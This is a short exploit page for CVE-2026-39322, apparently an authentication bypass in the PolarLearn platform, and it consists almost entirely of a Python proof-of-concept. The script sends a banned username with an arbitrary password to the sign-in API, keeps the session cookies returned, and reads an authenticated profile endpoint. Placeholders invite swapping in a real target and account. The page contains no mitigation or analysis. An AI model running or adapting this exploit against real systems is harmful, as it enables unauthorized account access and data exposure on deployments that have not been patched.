CVE-2026-39322 PolarLearn身份验证绕过漏洞

import requests def exploit_polarlearn(target_url, banned_username): """ PoC for CVE-2026-39322 Exploits authentication bypass by creating a session before password verification. """ login_endpoint = f"{target_url}/api/v1/auth/sign-in" # Payload with the banned username and an arbitrary password payload = { "username": banned_username, "password": "does_not_matter" } try: # Send login request response = requests.post(login_endpoint, json=payload) if response.status_code == 200: print("[+] Session created successfully for banned user.") # Extract cookies (session) session_cookies = response.cookies # Verify access by calling an authenticated API # Example endpoint: /api/v1/user/profile verify_url = f"{target_url}/api/v1/user/profile" verify_response = requests.get(verify_url, cookies=session_cookies) if verify_response.status_code == 200: print("[+] Successfully accessed authenticated data:") print(verify_response.text) else: print("[-] Failed to access authenticated endpoint.") else: print(f"[-] Login request failed with status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}") if __name__ == "__main__": target = "http://localhost:3000" # Replace with actual target user = "banned_admin" # Replace with actual banned username exploit_polarlearn(target, user)